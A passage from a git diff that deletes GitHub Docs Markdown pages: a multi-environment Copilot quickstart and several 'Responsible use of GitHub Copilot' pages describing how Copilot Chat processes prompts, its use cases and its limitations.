where you are using it. This version of the quickstart is for {% data variables.product.github %}. Click the tabs above for instructions on using {% data variables.product.prodname_copilot_short %} in other environments. - -{% ifversion fpt %} -{% data reusables.copilot.quickstart-signup %} -{% endif %} - -{% ifversion ghec %} - -## Prerequisite - -To use {% data variables.product.prodname_copilot %} on the {% data variables.product.github %} website, you must have an active {% data variables.product.prodname_copilot %} subscription. {% data reusables.copilot.subscription-prerequisite %} -{% endif %} - -## Asking your first question - -1. On {% data variables.product.github %}, navigate to a repository and open a file. -1. Click the {% data variables.product.prodname_copilot_short %} icon ({% octicon "copilot" aria-hidden="true" %}) at the top right of the file view. - - ![Screenshot of the {% data variables.product.prodname_copilot_short %} button, highlighted with a dark orange outline, at the top of the file view.](/assets/images/help/copilot/copilot-button-for-file.png) - -1. Type a question in the "Ask {% data variables.product.prodname_copilot_short %}" box at the bottom of the chat panel and press <kbd>Enter</kbd>. - - For example, you could enter: - - * Explain this file. - * How could I improve this code? - * How can I test this code? - - {% data variables.product.prodname_copilot_short %} responds to your request in the panel. - -1. You can continue the conversation by asking a follow-up question. For example, you could type "tell me more" to get {% data variables.product.prodname_copilot_short %} to expand on its last comment. - -## Other questions you can ask - -There are many more things you can do with {% data variables.product.prodname_copilot_chat_dotcom %}. For example: - -* Ask a general question about software development -* Ask exploratory questions about a repository -* Ask a question about a knowledge base -* Find out about the changes in a pull request -* Ask a question about a specific issue or commit - -For more information, see [AUTOTITLE](/copilot/github-copilot-chat/copilot-chat-in-github/using-github-copilot-chat-in-githubcom). - -## Next steps - -* **Find out more about {% data variables.product.prodname_copilot_chat %}** - See [AUTOTITLE](/copilot/github-copilot-chat/using-github-copilot-chat-in-your-ide){% ifversion fpt %}.{% endif %}{% ifversion ghec %} and [AUTOTITLE](/copilot/github-copilot-enterprise/copilot-chat-in-github/using-github-copilot-chat-in-githubcom).{% endif %} -* **Get {% data variables.product.prodname_copilot_short %} code completion suggestions in an IDE** - See [AUTOTITLE](/enterprise-cloud@latest/copilot/using-github-copilot/using-github-copilot-code-suggestions-in-your-editor). -* **Learn how to write effective prompts** - See [AUTOTITLE](/copilot/using-github-copilot/prompt-engineering-for-github-copilot). -* **Use {% data variables.product.prodname_copilot_short %} on your mobile device** - See [AUTOTITLE](/copilot/github-copilot-chat/copilot-chat-in-github-mobile/using-github-copilot-chat-in-github-mobile). -* **Use {% data variables.product.prodname_copilot_short %} on the command line** - See [AUTOTITLE](/copilot/github-copilot-in-the-cli/using-github-copilot-in-the-cli). - -{% endwebui %} - -{% windowsterminal %} - -{% data reusables.copilot.quickstart-intro %} - -Instructions for using {% data variables.product.prodname_copilot_short %} differ depending on where you are using it. This version of the quickstart is for {% data variables.product.prodname_windows_terminal %}. Click the tabs above for instructions on using {% data variables.product.prodname_copilot_short %} in other environments. - -{% ifversion fpt %} -{% data reusables.copilot.quickstart-signup %} -{% endif %} - -## Prerequisites - -{% ifversion ghec %} -* **Subscription to {% data variables.product.prodname_copilot_short %}**. To use {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_windows_terminal %}, you must have an active {% data variables.product.prodname_copilot %} subscription. {% data reusables.copilot.subscription-prerequisite %} -{% endif %} -* **{% data variables.product.prodname_windows_terminal %} Canary**. Terminal Chat is only available in [{% data variables.product.prodname_windows_terminal %} Canary](https://github.com/microsoft/terminal?tab=readme-ov-file#installing-windows-terminal-canary). - -## Use {% data variables.product.prodname_copilot_short %} in Terminal Chat - -After you've installed {% data variables.product.prodname_windows_terminal %} Canary, you can use {% data variables.product.prodname_copilot_short %} in [Terminal Chat](https://learn.microsoft.com/windows/terminal/terminal-chat) to ask command line-related questions. - -1. Open **Settings** from the dropdown menu. - - ![Screenshot of the dropdown menu in the {% data variables.product.prodname_windows_terminal %} with the Settings item highlighted.](/assets/images/help/copilot/windows-terminal-dropdown.png) - -1. Go to the **Terminal Chat (Experimental)** setting. - - ![Screenshot of the Settings menu in the {% data variables.product.prodname_windows_terminal %} with the Terminal Chat (Experimental) item highlighted.](/assets/images/help/copilot/windows-terminal-settings.png) - -1. Under **Service Providers**, select **GitHub Copilot** and **Authenticate via GitHub** to sign in. - -## Chat with {% data variables.product.prodname_copilot %} - -> [!NOTE] {% data reusables.copilot.windows-terminal-access-denied %} - -1. Open **Terminal Chat (Experimental)** in the dropdown menu. - -1. In the Terminal Chat chat window, type `how do i list all markdown files in my directory` then press <kbd>Enter</kbd>. - - {% data variables.product.prodname_copilot_short %}'s answer is displayed below your question. - -1. Click on an answer to insert it to the command line. - -## Next steps - -{% data reusables.copilot.quickstart-nextsteps1 %} -{% data reusables.copilot.quickstart-nextsteps2 %} - -{% endwindowsterminal %} - -{% vscode %} - -{% data reusables.copilot.quickstart-intro %} - -Instructions for using {% data variables.product.prodname_copilot_short %} differ depending on where you are using it. This version of the quickstart is for {% data variables.product.prodname_vscode %}. Click the tabs above for instructions on using {% data variables.product.prodname_copilot_short %} in other environments. - -{% ifversion fpt %} -{% data reusables.copilot.quickstart-signup %} -{% endif %} - -## Prerequisites - -{% ifversion ghec %} -* **{% data variables.product.prodname_copilot_short %} subscription** - To use {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode_shortname %}, you must have an active {% data variables.product.prodname_copilot %} subscription. {% data reusables.copilot.subscription-prerequisite %} -{% endif %} -{% data reusables.copilot.vscode-prerequisites %} - -## Chat with {% data variables.product.prodname_copilot %} - -After you've installed the {% data variables.product.prodname_copilot %} extension, you can ask {% data variables.product.prodname_copilot_short %} coding-related questions. - -> [!NOTE] {% data reusables.copilot.chat-access-denied %} - -1. Open an existing code file. -1. Open the Chat view from the Activity Bar. - - ![Screenshot of the Chat icon in the {% data variables.product.prodname_vscode_shortname %} Activity Bar.](/assets/images/help/copilot/chat-button-vscode.png) - -1. At the bottom of the chat view, in the chat input field, type: `explain this file`. -1. Press <kbd>Enter</kbd>. - - {% data variables.product.prodname_copilot_short %} replies in the chat view. - -1. In the editor, select one or more lines of code that are not commented. -1. In the chat input field, type: `add comments to these lines`. -1. If you like the comments that {% data variables.product.prodname_copilot_short %} suggests, hover over the suggested code in the chat view and click the "Insert at Cursor" icon to replace the selected lines with the suggested code. - - ![Screenshot of the "Insert at Cursor" icon in the chat view.](/assets/images/help/copilot/insert-at-cursor-vscode.png) - -## Get your first code completion suggestion - -The following example uses JavaScript, however other languages will work similarly. {% data reusables.copilot.supported-languages %} - -1. Open {% data variables.product.prodname_vscode %}. -{% data reusables.copilot.create-js-file %} -{% data reusables.copilot.type-function-header %} - {% data variables.product.prodname_copilot %} will automatically suggest an entire function body in grayed text. The exact suggestion may vary. -1. {% data reusables.copilot.accept-suggestion %} - -## Next steps - -{% data reusables.copilot.quickstart-nextsteps1 %} -* **Use {% data variables.product.prodname_copilot_short %} like a pro** - Learn how to write effective prompts for {% data variables.product.prodname_copilot %}. For more information, see [Best practices for using {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode_shortname %}](https://code.visualstudio.com/docs/copilot/prompt-crafting) in the {% data variables.product.prodname_vscode %} documentation. -* **Get familiar with {% data variables.copilot.next_edit_suggestions %}** - See [About {% data variables.copilot.next_edit_suggestions %}](/copilot/using-github-copilot/getting-code-suggestions-in-your-ide-with-github-copilot#about-next-edit-suggestions). -{% data reusables.copilot.quickstart-nextsteps2 %} - -{% endvscode %} - -{% visualstudio %} - -{% data reusables.copilot.quickstart-intro %} - -Instructions for using {% data variables.product.prodname_copilot_short %} differ depending on where you are using it. This version of the quickstart is for {% data variables.product.prodname_vs %}. Click the tabs above for instructions on using {% data variables.product.prodname_copilot_short %} in other environments. - -{% ifversion fpt %} -{% data reusables.copilot.quickstart-signup %} -{% endif %} - -## Prerequisites - -{% ifversion ghec %} -* **Subscription to {% data variables.product.prodname_copilot_short %}**. To use {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vs %}, you must have an active {% data variables.product.prodname_copilot %} subscription. {% data reusables.copilot.subscription-prerequisite %} -{% endif %} -{% data reusables.copilot.visual-studio-prerequisites %} - -## Chat with {% data variables.product.prodname_copilot %} - -After you've installed the {% data variables.product.prodname_copilot %} extension, you can ask {% data variables.product.prodname_copilot_short %} coding-related questions. - -> [!NOTE] {% data reusables.copilot.chat-access-denied %} - -1. Open an existing code file. -1. In the {% data variables.product.prodname_vs %} menu bar, click **View**, then click **{% data variables.product.prodname_copilot_chat %}**. -1. In the {% data variables.product.prodname_copilot_chat_short %} window, type `what does this file do` then press <kbd>Enter</kbd>. - - {% data variables.product.prodname_copilot_short %}'s answer is displayed below your question. - -1. Select a line of code in the editor. -1. In the {% data variables.product.prodname_copilot_chat_short %} window, type `explain this line` then press <kbd>Enter</kbd>. - -## Get your first code completion suggestion - -The following example uses JavaScript, however other languages will work similarly. {% data reusables.copilot.supported-languages %} - -1. Open {% data variables.product.prodname_vs %}. -1. In {% data variables.product.prodname_vs %}, create a new JavaScript (_*.js_) file. -{% data reusables.copilot.type-function-header %} - {% data variables.product.prodname_copilot %} will automatically suggest an entire function body in grayed text. The exact suggestion may vary. -1. {% data reusables.copilot.accept-suggestion %} - -## Next steps - -{% data reusables.copilot.quickstart-nextsteps1 %} -* **Prompt like a pro** - Watch [{% data variables.product.prodname_vs %} Prompt Engineering with {% data variables.product.prodname_copilot %}](https://www.youtube.com/watch?v=9hZsOeIINg8&list=PLReL099Y5nRckZDdcQ21UigO9pKa14yxC) on YouTube. -{% data reusables.copilot.quickstart-nextsteps2 %} - -{% endvisualstudio %} - -{% jetbrains %} - -{% data reusables.copilot.quickstart-intro %} - -Instructions for using {% data variables.product.prodname_copilot_short %} differ depending on where you are using it. This version of the quickstart is for JetBrains IDEs. Click the tabs above for instructions on using {% data variables.product.prodname_copilot_short %} in other environments. - -{% ifversion fpt %} -{% data reusables.copilot.quickstart-signup %} -{% endif %} - -## Prerequisites - -{% ifversion ghec %} -* **Subscription to {% data variables.product.prodname_copilot_short %}**. To use {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vs %}, you must have an active {% data variables.product.prodname_copilot %} subscription. {% data reusables.copilot.subscription-prerequisite %} -{% endif %} -* **A compatible JetBrains IDE**. {% data variables.product.prodname_copilot_short %} is supported in a large number of JetBrains IDEs. For a full list, see [AUTOTITLE](/copilot/github-copilot-chat/copilot-chat-in-ides/using-github-copilot-chat-in-your-ide?tool=jetbrains). -{% data reusables.copilot.jetbrains-plugin-prerequisites %} - -## Chat with {% data variables.product.prodname_copilot %} - -After you've installed the {% data variables.product.prodname_copilot %} plugin, you can ask {% data variables.product.prodname_copilot_short %} coding-related questions. - -> [!NOTE] {% data reusables.copilot.chat-access-denied %} - -1. Open an existing code file. -1. Open the {% data variables.product.prodname_copilot_chat_short %} window by clicking the **{% data variables.product.prodname_copilot_chat_short %}** icon at the right side of the JetBrains IDE window. - - ![Screenshot of the {% data variables.product.prodname_copilot_chat_short %} icon in the Activity Bar.](/assets/images/help/copilot/jetbrains-copilot-chat-icon.png) - -1. In the {% data variables.product.prodname_copilot_chat_short %} window, type `what does this file do` then press <kbd>Enter</kbd>. - - {% data variables.product.prodname_copilot_short %}'s answer is displayed below your question. - -1. Select a line of code in the editor. -1. In the {% data variables.product.prodname_copilot_chat_short %} window, type `explain this line` then press <kbd>Enter</kbd>. - -## Get your first code completion suggestion - -The following example uses JavaScript, however other languages will work similarly. {% data reusables.copilot.supported-languages %} - -1. In your JetBrains editor, create a new JavaScript (_*.js_) file. -{% data reusables.copilot.type-function-header %} - {% data variables.product.prodname_copilot %} will automatically suggest an entire function body in grayed text. The exact suggestion may vary. -1. {% data reusables.copilot.accept-suggestion %} - -## Next steps - -{% data reusables.copilot.quickstart-nextsteps1 %} -{% data reusables.copilot.quickstart-nextsteps2 %} - -{% endjetbrains %} diff --git a/content/copilot/responsible-use-of-github-copilot-features/index.md b/content/copilot/responsible-use-of-github-copilot-features/index.md deleted file mode 100644 index f2ba79a6fd0e..000000000000 --- a/content/copilot/responsible-use-of-github-copilot-features/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Responsible use of GitHub Copilot features -shortTitle: Responsible use -intro: "Learn how to use {% data variables.product.prodname_copilot %} features responsibly by understanding their purposes, capabilities, and limitations." -versions: - feature: copilot -topics: - - Copilot -children: - - /responsible-use-of-github-copilot-chat-in-your-ide - - /responsible-use-of-github-copilot-chat-in-github - - /responsible-use-of-github-copilot-chat-in-github-mobile - - /responsible-use-of-github-copilot-in-the-cli - - /responsible-use-of-github-copilot-in-windows-terminal - - /responsible-use-of-github-copilot-pull-request-summaries - - /responsible-use-of-github-copilot-text-completion - - /responsible-use-of-github-copilot-code-review ---- - diff --git a/content/copilot/responsible-use-of-github-copilot-features/responsible-use-of-github-copilot-chat-in-github-mobile.md b/content/copilot/responsible-use-of-github-copilot-features/responsible-use-of-github-copilot-chat-in-github-mobile.md deleted file mode 100644 index f18b3e51169e..000000000000 --- a/content/copilot/responsible-use-of-github-copilot-features/responsible-use-of-github-copilot-chat-in-github-mobile.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Responsible use of GitHub Copilot Chat in GitHub Mobile -shortTitle: Chat in GitHub Mobile -intro: 'Learn how to use {% data variables.product.prodname_copilot_chat %} responsibly by understanding its purposes, capabilities, and limitations.' -redirect_from: - - /early-access/copilot/about-github-copilot-chat-in-github-mobile - - /copilot/github-copilot-chat/about-github-copilot-chat-in-github-mobile - - /copilot/github-copilot-chat/copilot-chat-in-github-mobile/about-github-copilot-chat-in-github-mobile -versions: - feature: copilot-chat-for-mobile -topics: - - Copilot - - Mobile -type: rai ---- - -## About {% data variables.product.prodname_copilot_mobile %} - -{% data variables.product.prodname_copilot_mobile %} is a chat interface that lets you interact with {% data variables.product.prodname_copilot %}, to ask and receive answers to coding-related questions within {% data variables.product.prodname_mobile %}. The chat interface provides access to coding information and support without requiring you to navigate documentation or search online forums. In addition to {% data variables.product.prodname_mobile %}, {% data variables.product.prodname_copilot_chat_short %} is currently supported in the {% data variables.product.github %} website, {% data variables.product.prodname_vscode %}, {% data variables.product.prodname_vs %}, and the JetBrains suite of IDEs. For more information about {% data variables.product.prodname_copilot %}, see [AUTOTITLE](/copilot/about-github-copilot/what-is-github-copilot). - -{% data variables.product.prodname_copilot_chat %} can answer a wide range of coding-related questions on topics including syntax, programming concepts, test cases, debugging, and more. {% data variables.product.prodname_copilot_chat %} is not designed to answer non-coding questions or provide general information on topics outside of coding. - -The primary supported language for {% data variables.product.prodname_copilot_mobile %} is English. - -{% data variables.product.prodname_copilot_chat %} works by using a combination of natural language processing and machine learning to understand your question and provide you with an answer. This process can be broken down into a number of steps. - -{% data reusables.rai.copilot.about-copilot-chat-in-mobile %} - -## Further reading - -* [AUTOTITLE](/free-pro-team@latest/site-policy/github-terms/github-copilot-pre-release-terms) -* [{% data variables.product.prodname_copilot %} Trust Center](https://resources.github.com/copilot-trust-center/) diff --git a/content/copilot/responsible-use-of-github-copilot-features/responsible-use-of-github-copilot-chat-in-github.md b/content/copilot/responsible-use-of-github-copilot-features/responsible-use-of-github-copilot-chat-in-github.md deleted file mode 100644 index ab29ef71903b..000000000000 --- a/content/copilot/responsible-use-of-github-copilot-features/responsible-use-of-github-copilot-chat-in-github.md +++ /dev/null @@ -1,161 +0,0 @@ ---- -title: Responsible use of GitHub Copilot Chat in GitHub -shortTitle: Chat in GitHub -intro: 'Learn how to use {% data variables.product.prodname_copilot_chat_dotcom %} responsibly by understanding its purposes, capabilities, and limitations.' -versions: - feature: copilot -topics: - - Copilot -type: rai -redirect_from: - - /copilot/github-copilot-enterprise/copilot-chat-in-github/about-github-copilot-chat - - /copilot/github-copilot-enterprise/copilot-docset-management/about-copilot-docset-management - - /copilot/github-copilot-enterprise/copilot-chat-in-github/about-github-copilot-chat-in-githubcom - - /copilot/github-copilot-chat/copilot-chat-in-github/about-github-copilot-chat-in-githubcom - - /copilot/responsible-use-of-github-copilot-features/responsible-use-of-github-copilot-chat-in-githubcom ---- - -## About {% data variables.product.prodname_copilot_chat_dotcom %} - -{% data variables.product.prodname_copilot_chat_dotcom %} is a chat interface that lets you interact with {% data variables.product.prodname_copilot %}, to ask and receive answers to coding-related questions within {% data variables.product.github %}. - -The chat interface provides access to coding information and support without requiring you to navigate documentation or search online forums. - -> [!NOTE] {% data variables.product.prodname_copilot_chat_short %} is also available in {% data variables.product.prodname_vscode %}, {% data variables.product.prodname_vs %}, and the JetBrains suite of IDEs. However, features available in these IDEs differ from features available on {% data variables.product.github %}. - -{% data variables.product.prodname_copilot_chat %} can answer a wide range of coding-related questions on topics including syntax, programming concepts, test cases, debugging, and more. {% data variables.product.prodname_copilot_chat %} is not designed to answer non-coding questions or provide general information on topics outside of coding. - -The primary supported language for {% data variables.product.prodname_copilot_chat_dotcom_short %} is English. - -{% data variables.product.prodname_copilot_chat %} works by using a combination of natural language processing and machine learning to understand your question and provide you with an answer. This process can be broken down into a number of steps. - -### Input processing - -The input prompt from the user is pre-processed by the {% data variables.product.prodname_copilot_chat_short %} system, combined with contextual information (for example, the current date and time and the name of the repository the user is currently viewing), and sent to a large language model. User input can take the form of code snippets or plain language. - -The large language model will take the prompt, gather additional context (for example repository data stored on {% data variables.product.prodname_dotcom %} or search results from Bing), and provide a response based on the prompt. The system is only intended to respond to coding-related questions. - -### Language model analysis - -The pre-processed prompt is then passed through the {% data variables.product.prodname_copilot_chat_short %} language model, which is a neural network that has been trained on a large body of text data. The language model analyzes the input prompt. - -### Response generation - -The language model generates a response based on its analysis of the input prompt and the context provided to it. The language model can gather additional context (for example repository data stored on {% data variables.product.prodname_dotcom %} or search results from Bing), and provide a response based on the prompt. This response can take the form of generated code, code suggestions, or explanations of existing code. - -### Output formatting - -The response generated by {% data variables.product.prodname_copilot_chat_short %} is formatted and presented to the user. {% data variables.product.prodname_copilot_chat_short %} may use syntax highlighting, indentation, and other formatting features to add clarity to the generated response. Depending upon the type of question from the user, links to context that the model used when generating a response, such as source code files, issues, Bing search results, or documentation, may also be provided. - -{% data variables.product.prodname_copilot_chat_short %} is intended to provide you with the most relevant answer to your question. However, it may not always provide the answer you are looking for. Users of {% data variables.product.prodname_copilot_chat_short %} are responsible for reviewing and validating responses generated by the system to ensure they are accurate and appropriate. Additionally, as part of our product development process, we undertake red teaming to understand and improve the safety of {% data variables.product.prodname_copilot_chat_short %}. Input prompts and output completions are run through content filters. The content filtering system detects and prevents the output on specific categories of content including harmful, offensive, or off-topic content. For more information on improving the performance of {% data variables.product.prodname_copilot_chat_short %}, see [Improving performance for {% data variables.product.prodname_copilot_chat_short %}](#improving-performance-for-copilot-chat). - -## Use cases for {% data variables.product.prodname_copilot_chat_short %} - -{% data variables.product.prodname_copilot_chat_short %} can provide coding assistance in a variety of scenarios. - -### Answering coding questions - -You can ask {% data variables.product.prodname_copilot_chat_short %} for help or clarification on specific coding problems and receive responses in natural language format or in code snippet format. - -The response generated by {% data variables.product.prodname_copilot_chat_short %} may use the model's training data set, search results from Bing, code in your repositories, and Markdown documentation in your knowledge bases to answer your questions. - -This can be a useful tool for programmers, as it can provide guidance and support for common coding tasks and challenges. - -### Explaining code and suggesting improvements - -{% data variables.product.prodname_copilot_chat_short %} can help explain selected code by generating natural language descriptions of the code's functionality and purpose. This can be useful if you want to understand the code's behavior or for non-technical stakeholders who need to understand how the code works. For example, if you select a function or code block in the code editor, {% data variables.product.prodname_copilot_chat_short %} can generate a natural language description of what the code does and how it fits into the overall system. This can include information such as the function's input and output parameters, its dependencies, and its purpose in the larger application. - -{% data variables.product.prodname_copilot_chat_short %} can also suggest potential improvements to selected code, such as improved handling of errors and edge cases, or changes to the logical flow to make the code more readable. - -By generating explanations and suggesting related documentation, {% data variables.product.prodname_copilot_chat_short %} may help you to understand the selected code, leading to improved collaboration and more effective software development. However, it's important to note that the generated explanations and documentation may not always be accurate or complete, so you'll need to review, and occasionally correct, {% data variables.product.prodname_copilot_chat_short %}'s output. - -### Proposing code fixes - -{% data variables.product.prodname_copilot_chat_short %} can propose a fix for bugs in your code by suggesting code snippets and solutions based on the context of the error or issue. This can be useful if you are struggling to identify the root cause of a bug or you need guidance on the best way to fix it. For example, if your code produces an error message or warning, {% data variables.product.prodname_copilot_chat_short %} can suggest possible fixes based on the error message, the code's syntax, and the surrounding code. - -{% data variables.product.prodname_copilot_chat_short %} can suggest changes to variables, control structures, or function calls that might resolve the issue and generate code snippets that can be incorporated into the codebase. However, it's important to note that the suggested fixes may not always be optimal or complete, so you'll need to review and test the suggestions. - -### Planning coding tasks - -{% data variables.product.prodname_copilot_chat_short %} can read a {% data variables.product.prodname_dotcom %} issue and summarize it, answer questions about it, or propose next steps. This can be useful if you have a long, complex issue with many comments, and you want to understand it quickly or figure out what to do next. - -However, it's important to note that {% data variables.product.prodname_copilot_chat_short %}'s answers and summaries may not always be accurate or complete, so you'll need to review {% data variables.product.prodname_copilot_chat_short %}'s output for accuracy. - -### Finding out about releases, discussions, and commits - -{% data variables.product.prodname_copilot_chat_short %} can help you find out what changed in a specific release, it can summarize the information in a discussion, and it can explain the changes in a specific commit. This can be useful if, for example, you are new to a project, you want to quickly get the gist of a discussion, or you need to work on code that someone else wrote. However, it's important to note that {% data variables.product.prodname_copilot_chat_short %}'s summaries of releases, discussions, and commits may not always be accurate or complete. - -## Improving performance for {% data variables.product.prodname_copilot_chat_short %} - -{% data variables.product.prodname_copilot_chat_short %} can support a wide range of practical applications like Q&A, code generation, code analysis, and code fixes, each with different performance metrics and mitigation strategies. To enhance performance and address some of the limitations of {% data variables.product.prodname_copilot_chat_short %}, there are various measures that you can adopt. For more information on the limitations of {% data variables.product.prodname_copilot_chat_short %}, see [Limitations of {% data variables.product.prodname_copilot_chat %}](#limitations-of-github-copilot-chat). - -### Keep your prompts on topic - -{% data variables.product.prodname_copilot_chat_short %} is intended to address queries related to coding exclusively. Therefore, limiting the prompt to coding questions or tasks can enhance the model's output quality. - -### Use {% data variables.product.prodname_copilot_chat_short %} as a tool, not a replacement - -While {% data variables.product.prodname_copilot_chat_short %} can be a powerful tool for generating code, it is important to use it as a tool rather than a replacement for human programming. You should always review and test the code generated by {% data variables.product.prodname_copilot_chat_short %} to ensure that it meets your requirements and is free of errors or security concerns. - -### Use secure coding and code review practices - -While {% data variables.product.prodname_copilot_chat_short %} can generate syntactically correct code, it may not always be secure. You should always follow best practices for secure coding, such as avoiding hard-coded passwords or SQL injection vulnerabilities, as well as following code review best practices, to address {% data variables.product.prodname_copilot_chat_short %}'s limitations. - -### Provide feedback - -{% data reusables.rai.copilot-dotcom-feedback-collection %} - -If you encounter any issues or limitations with {% data variables.product.prodname_copilot_chat_dotcom_short %}, we recommend that you provide feedback by clicking the thumbs down icon below each chat response. This can help the developers to improve the tool and address any concerns or limitations. - -### Stay up to date - -{% data variables.product.prodname_copilot_chat_short %} is a new technology and is likely to evolve over time. For {% data variables.product.prodname_copilot_chat_dotcom %} you will always have access to the latest product experience. You should stay up to date with any new security risks or best practices that may emerge. - -## Limitations of {% data variables.product.prodname_copilot_chat %} - -Depending on factors such as your codebase and input data, you may experience different levels of performance when using {% data variables.product.prodname_copilot_chat_short %}. The following information is designed to help you understand system limitations and key concepts about performance as they apply to {% data variables.product.prodname_copilot_chat_short %}. - -### Limited scope - -{% data variables.product.prodname_copilot_chat_short %} has been trained on a large body of code but still has a limited scope and may not be able to handle more complex code structures or obscure programming languages. For each language, the quality of suggestions you receive may depend on the volume and diversity of training data for that language. For example, JavaScript is well-represented in public repositories and is one of {% data variables.product.prodname_copilot %}'s best supported languages. Languages with less representation in public repositories may be more challenging for {% data variables.product.prodname_copilot_chat_short %} to provide assistance with. Additionally, {% data variables.product.prodname_copilot_chat_short %} can only suggest code based on the context of the code being written, so it may not be able to identify larger design or architectural issues. - -### Potential biases - -{% data variables.product.prodname_copilot_short %}'s training data (drawn from existing code repositories) and context gathered by the large language model (for example, Bing search results) may contain biases and errors that can be perpetuated by the tool. Additionally, {% data variables.product.prodname_copilot_chat_short %} may be biased towards certain programming languages or coding styles, which can lead to suboptimal or incomplete code suggestions. - -### Security risks - -{% data variables.product.prodname_copilot_chat_short %} generates code based on the context of the code being written, which can potentially expose sensitive information or vulnerabilities if not used carefully. You should be careful when using {% data variables.product.prodname_copilot_chat_short %} to generate code for security-sensitive applications and always review and test the generated code thoroughly. - -### Matches with public code - -{% data variables.product.prodname_copilot_chat_short %} is capable of generating new code, which it does in a probabilistic way. While the probability that it may produce code that matches code in the training set is low, a {% data variables.product.prodname_copilot_chat_short %} suggestion may contain some code snippets that match code in the training set. - -If you have disabled suggestions that match public code then {% data variables.product.prodname_copilot_chat_short %} utilizes filters that prevent it from showing code that matches code found in public repositories on {% data variables.product.prodname_dotcom %}. However, you should always take the same precautions as you would with any code you write that uses material you did not independently originate, including precautions to ensure its suitability. These include rigorous testing, IP scanning, and checking for security vulnerabilities. - -If you have enabled suggestions that match public code then {% data variables.product.prodname_copilot_chat_short %} displays a message if matching code is found. The message includes links to repositories on {% data variables.product.github %} that contain matching code, and any license details that were found. For more information, see [AUTOTITLE](/copilot/using-github-copilot/finding-public-code-that-matches-github-copilot-suggestions). - -### Inaccurate code - -One of the limitations of {% data variables.product.prodname_copilot_chat_short %} is that it may generate code that appears to be valid but may not actually be semantically or syntactically correct or may not accurately reflect the intent of the developer. To mitigate the risk of inaccurate code, you should carefully review and test the generated code, particularly when dealing with critical or sensitive applications. You should also ensure that the generated code adheres to best practices and design patterns and fits within the overall architecture and style of the codebase. - -### Inaccurate responses to non-coding topics - -{% data variables.product.prodname_copilot_chat_short %} is not designed to answer non-coding questions, and therefore its responses may not always be accurate or helpful in these contexts. If a user asks {% data variables.product.prodname_copilot_chat_short %} a non-coding question, it may generate an answer that is irrelevant or nonsensical, or it may simply indicate that it is unable to provide a useful response. - -### Leveraging a web search to answer a question - -Depending on the question you ask, {% data variables.product.prodname_copilot_chat %} can optionally use a Bing search to help answer your question. {% data variables.product.prodname_copilot_short %} will use Bing for queries about recent events, new trends or technologies, highly specific subjects, or when a web search is explicitly requested by the user. Your {% data variables.product.prodname_enterprise %} administrator can enable Bing for your whole enterprise, or can delegate this decision to the organizational administrator. For more information, see [AUTOTITLE](/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-policies-and-features-for-copilot-in-your-enterprise). - -When leveraging Bing, {% data variables.product.prodname_copilot_short %} will use the content of your prompt, as well as additional available context, to generate a Bing search query on your behalf that is sent to the Bing Search API. {% data variables.product.prodname_copilot_short %} will provide a link to the search results with its response. The search query sent to Bing is governed by [Microsoft's Privacy Statement](https://privacy.microsoft.com/en-us/privacystatement). - -## Next steps - -For details of how to use {% data variables.product.prodname_copilot_chat_dotcom %}, see: - -* [AUTOTITLE](/enterprise-cloud@latest/copilot/github-copilot-chat/copilot-chat-in-github/using-github-copilot-chat-in-githubcom){% ifversion fpt %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% endif %} - -## Further reading - -* [AUTOTITLE](/free-pro-team@latest/site-policy/github-terms/github-copilot-pre-release-terms) -* [{% data variables.product.prodname_copilot %} Trust Center](https://resources.github.com/copilot-trust-center/) diff --git a/content/copilot/responsible-use-of-github-copilot-features/responsible-use-of-github-copilot-chat-in-your-ide.md b/content/copilot/responsible-use-of-github-copilot-features/responsible-use-of-github-copilot-chat-in-your-ide.md deleted file mode 100644 index 769516af35c9..000000000000 --- a/content/copilot/responsible-use-of-github-copilot-features/responsible-use-of-github-copilot-chat-in-your-ide.md +++ /dev/null @@ -1,178 +0,0 @@ ---- -title: Responsible use of GitHub Copilot Chat in your IDE -shortTitle: Chat in your IDE -intro: 'Learn how to use {% data variables.product.prodname_copilot_chat %} responsibly by understanding its purposes, capabilities, and limitations.' -redirect_from: - - /early-access/copilot/github-copilot-chat-transparency-note - - /early-access/copilot/github-copilot-chat-technical-preview-license-terms - - /copilot/github-copilot-chat/about-github-copilot-chat - - /copilot/github-copilot-chat/copilot-chat-in-ides/about-github-copilot-chat-in-your-ide -product: '{% data reusables.gated-features.copilot-chat-callout %}' -versions: - feature: copilot -topics: - - Copilot -type: rai ---- - -{% vscode %} - -{% data reusables.rai.copilot.about-copilot-chat-ide %} - -{% data reusables.rai.copilot.copilot-chat-ide-input-processing-all1 %} - -{% data reusables.rai.copilot.copilot-chat-ide-input-processing-custom-instructions %} - -{% data reusables.rai.copilot.copilot-chat-ide-input-processing-all2 %} - -{% data reusables.rai.copilot.copilot-chat-ide-language-model-analysis %} - -{% data reusables.rai.copilot.copilot-chat-ide-response-generation %} - -When you use the `@github` chat participant, {% data variables.product.prodname_copilot_chat_short %} will be able to gather context from your code stored on {% data variables.product.github %} and search results from Bing (if enabled by your administrator). - -{% data reusables.rai.copilot.copilot-chat-ide-output-formatting %} - -{% data reusables.rai.copilot.copilot-chat-ide-leveraging-web-search %} - -{% data reusables.rai.copilot.copilot-chat-ide-use-cases %} - -### Answering coding questions - -You can ask {% data variables.product.prodname_copilot_chat_short %} for help or clarification on specific coding problems and receive responses in natural language format or in code snippet format. - -The response generated by {% data variables.product.prodname_copilot_chat_short %} will use the model's training data set to answer your questions. - -When you use the `@github` chat participant, the response generated may additionally use search results from Bing, code in your repositories, and Markdown documentation in your knowledge bases. - -This can be a useful tool for programmers, as it can provide guidance and support for common coding tasks and challenges. - -{% data reusables.rai.copilot.copilot-chat-ide-improving-performance %} -{% data reusables.rai.copilot.copilot-chat-ide-provide-feedback %} -{% data reusables.rai.copilot.copilot-chat-ide-stay-up-to-date %} - -{% data reusables.rai.copilot.copilot-chat-ide-limitations %} - -{% data reusables.rai.copilot.copilot-chat-ide-next-steps %} - -{% endvscode %} - -{% visualstudio %} - -{% data reusables.rai.copilot.about-copilot-chat-ide %} - -{% data reusables.rai.copilot.copilot-chat-ide-input-processing-all1 %} - -{% data 